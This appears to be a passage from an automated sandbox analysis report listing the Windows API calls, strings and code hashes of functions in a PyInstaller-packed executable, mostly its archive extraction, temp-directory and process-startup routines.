Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6BAF01742
fread, xrefs: 00007FF6BAF017E6
fopen, xrefs: 00007FF6BAF01663
fseek, xrefs: 00007FF6BAF016E1
malloc, xrefs: 00007FF6BAF01749
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6BAF017DF
Failed to extract %s: failed to open target file!, xrefs: 00007FF6BAF0165C

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 80c814cc98e6b2aff898b1ce4eb0b94af8f5089607ff04406bfc182d1f16ad7b
Instruction ID: 06f8a1b47d2bd5ad48f978d2102444feb4c98710edb8064968060b9774f8c614
Opcode Fuzzy Hash: 80c814cc98e6b2aff898b1ce4eb0b94af8f5089607ff04406bfc182d1f16ad7b
Instruction Fuzzy Hash: CA51AEA1B0868792EA20AF1994101FA63A8BF84796F8445B6EF0CC77D6DF3CE545C344

Function 00007FF6BAF08660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF6BAF03CBB), ref: 00007FF6BAF08704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF6BAF03CBB), ref: 00007FF6BAF0870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF6BAF03CBB), ref: 00007FF6BAF0874C

Part of subcall function 00007FF6BAF08830: GetEnvironmentVariableW.KERNEL32(00007FF6BAF0388E), ref: 00007FF6BAF08867
Part of subcall function 00007FF6BAF08830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6BAF08889

Part of subcall function 00007FF6BAF18238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF18251

Part of subcall function 00007FF6BAF02810: MessageBoxW.USER32 ref: 00007FF6BAF028EA

Strings

_MEI%d, xrefs: 00007FF6BAF08712
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6BAF086DC
TMP, xrefs: 00007FF6BAF086C2
TMP, xrefs: 00007FF6BAF0869C, 00007FF6BAF087A3
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6BAF0877E

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: 7d3b5c067e73ad49f469409ceb8244c619f725b40a4ffcbef629a3bc06d7cc31
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: DE41C261B1969244FA20EF2D99512FA2398AF847C2F8000B1EF0DC77DADE3CE405C380

Function 00007FF6BAF01210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6BAF01276
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6BAF012BA
1.3.1, xrefs: 00007FF6BAF01249
malloc, xrefs: 00007FF6BAF012C1, 00007FF6BAF012F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6BAF0141E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6BAF012EF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 4176682b56444a78b74e0a45c684f191b40491c6c63e868bb09f8baa48a37ad0
Instruction ID: 06f6eab6cfce60e19754ad198c9f74b6c27e5752cf243a283b049db8681456a1
Opcode Fuzzy Hash: 4176682b56444a78b74e0a45c684f191b40491c6c63e868bb09f8baa48a37ad0
Instruction Fuzzy Hash: DC51D062A0868285EA30AF19A4403FA6399FF85796F8441B6EF4DC77D5EF3CE545C700

Function 00007FF6BAF1ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6BAF1F0AA,?,?,-00000018,00007FF6BAF1AD53,?,?,?,00007FF6BAF1AC4A,?,?,?,00007FF6BAF15F3E), ref: 00007FF6BAF1EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF6BAF1F0AA,?,?,-00000018,00007FF6BAF1AD53,?,?,?,00007FF6BAF1AC4A,?,?,?,00007FF6BAF15F3E), ref: 00007FF6BAF1EE98

Strings

api-ms-, xrefs: 00007FF6BAF1EDD6
ext-ms-, xrefs: 00007FF6BAF1EDE9

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 10190a7369ec2450d12f2d5b86ba16c95feba720f752c3ad235ac97132d4ee55
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: CB41E5A1B19A2241EB26CB1AD810AF563DABF48BD1F894579DE1DC7784EF3CE4458304

Function 00007FF6BAF036B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6BAF03804), ref: 00007FF6BAF036E1
GetLastError.KERNEL32(?,00007FF6BAF03804), ref: 00007FF6BAF036EB

Part of subcall function 00007FF6BAF02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02C9E
Part of subcall function 00007FF6BAF02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02D63
Part of subcall function 00007FF6BAF02C50: MessageBoxW.USER32 ref: 00007FF6BAF02D99

Strings

GetModuleFileNameW, xrefs: 00007FF6BAF036FA
\\?\, xrefs: 00007FF6BAF0375A
Failed to obtain executable path., xrefs: 00007FF6BAF036F3
Failed to resolve full path to executable %ls., xrefs: 00007FF6BAF03739
Failed to convert executable path to UTF-8., xrefs: 00007FF6BAF03790

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: f1abc873397aa8f043facd9fa40b7aaad957005192b33f0db060ffcce6608d5a
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: FC217F61B1C68241FA319F28E8503FA6398BF88396F804276EF5DC75D5EE2CE505C744

Function 00007FF6BAF1BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1BE89

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction ID: 940a5ee6c923f7a5112df72cbbfa2d5994ca1a531dbc7add0b670caeb7f935cf
Opcode Fuzzy Hash: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction Fuzzy Hash: BBC1FFA2A0C7A6C2E6649B1D90402FD7BA8FB81FC2F5541B5EF4E87791CE7DE8458700

Function 00007FF6BAF08570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6BAF08590
OpenProcessToken.ADVAPI32 ref: 00007FF6BAF085A3
GetTokenInformation.KERNELBASE ref: 00007FF6BAF085C8
GetLastError.KERNEL32 ref: 00007FF6BAF085D2
GetTokenInformation.KERNELBASE ref: 00007FF6BAF08612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6BAF0862E
CloseHandle.KERNEL32 ref: 00007FF6BAF08646

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 6a89ac2ff6ac38b3f90b44103cb050a473d43295306970cc4d32155fae624acf
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: 10214131A0C78242EA208F59B5442BAA3A8EB857E1F504275EF6D83BE8DF6CD8458740

Function 00007FF6BAF090E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BAF08570: GetCurrentProcess.KERNEL32 ref: 00007FF6BAF08590
Part of subcall function 00007FF6BAF08570: OpenProcessToken.ADVAPI32 ref: 00007FF6BAF085A3
Part of subcall function 00007FF6BAF08570: GetTokenInformation.KERNELBASE ref: 00007FF6BAF085C8
Part of subcall function 00007FF6BAF08570: GetLastError.KERNEL32 ref: 00007FF6BAF085D2
Part of subcall function 00007FF6BAF08570: GetTokenInformation.KERNELBASE ref: 00007FF6BAF08612
Part of subcall function 00007FF6BAF08570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6BAF0862E
Part of subcall function 00007FF6BAF08570: CloseHandle.KERNEL32 ref: 00007FF6BAF08646

LocalFree.KERNEL32(?,00007FF6BAF03C55), ref: 00007FF6BAF0916C
LocalFree.KERNEL32(?,00007FF6BAF03C55), ref: 00007FF6BAF09175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF6BAF09157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6BAF09183
S-1-3-4, xrefs: 00007FF6BAF09121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6BAF09142

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 06e2c0cea850d4022b60ab1bea16e6e849d71c038a1053faf5580a0c59685dd9
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: BF215E21A0878281FA20AF24E4153FA63A9FF98782F4440B6EF4DC3796DF3CD8458780

Function 00007FF6BAF07E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF6BAF0352C,?,00000000,00007FF6BAF03F23), ref: 00007FF6BAF07F32

Strings

\, xrefs: 00007FF6BAF07E97
%s%c, xrefs: 00007FF6BAF07EA4
%.*s, xrefs: 00007FF6BAF07EEB

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: 62d320c00aea92ab6e20157be1364791f440f4994b3f33939f607deb0b833712
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: 1431B221619AC145EE319F29E8507EA639CEF84BE2F4402B1EFADC77C9DE2CD6458740

Function 00007FF6BAF1CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BAF1CF4B), ref: 00007FF6BAF1D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BAF1CF4B), ref: 00007FF6BAF1D107

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 6de60fe16b858fea53e2ead37a14fc506db51fa26186159154a6704ceaaef908
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: A691A2B2E1866289F7609F6D94402FD2BB8AB44B8AF5441B9DF0EA7685DF3CD442C700

Function 00007FF6BAF1F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6BAF1FA7C
_get_daylight.LIBCMT ref: 00007FF6BAF1FA8D
_get_daylight.LIBCMT ref: 00007FF6BAF1FA9E
_isindst.LIBCMT ref: 00007FF6BAF1FB69

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: cf71b30e143bc02850ca98b3d162f2916bbf570c9b56915d3d2f9d17bb36b3f2
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 7551CBB2F0422286EB14DF6C99956FC2769AF4436AF500276DF1D93AE5DF3CA806C700

Function 00007FF6BAF1577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6BAF157AF
GetFileInformationByHandle.KERNELBASE ref: 00007FF6BAF15811
GetLastError.KERNEL32 ref: 00007FF6BAF158A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BAF156B4), ref: 00007FF6BAF158EE

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 480b2eaff83af91cddd9fca5f87072a25fcd1d7e84696b234406042816ee00b4
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 5E518EB2E086518AFB14CFB9D4503FD27A9EB48B9AF104475DF0D97688DF38D4418740

Function 00007FF6BAF15628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF15655
CreateFileW.KERNELBASE ref: 00007FF6BAF15694
CloseHandle.KERNEL32 ref: 00007FF6BAF156C9

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction ID: 1bcaf4d7be3f8e792fed48457001b02795ab29d8e7da1c4c22052895fb7c0dcb
Opcode Fuzzy Hash: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction Fuzzy Hash: 8B41B2A2E1879283E7148B24D5503B973A4FBA43A5F108375EFAC83AD1DF7CA4E08740

Function 00007FF6BAF0CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BAF0CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6BAF0CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6BAF0CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF6BAF0CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6BAF0CD21

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 3fe76f73670089b7a404d0b7df381cec2ab9be787c87b3aa3afe4cfce09a5a1f
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 52316C20E0924345FA34AF6DD4A13F91789AF91386F4444BAEF4EC72D7DE2CB806C241

Function 00007FF6BAF19A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6BAF19A2C), ref: 00007FF6BAF19A41
TerminateProcess.KERNEL32(?,?,?,00007FF6BAF19A2C), ref: 00007FF6BAF19A4C
ExitProcess.KERNEL32 ref: 00007FF6BAF19A5B

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
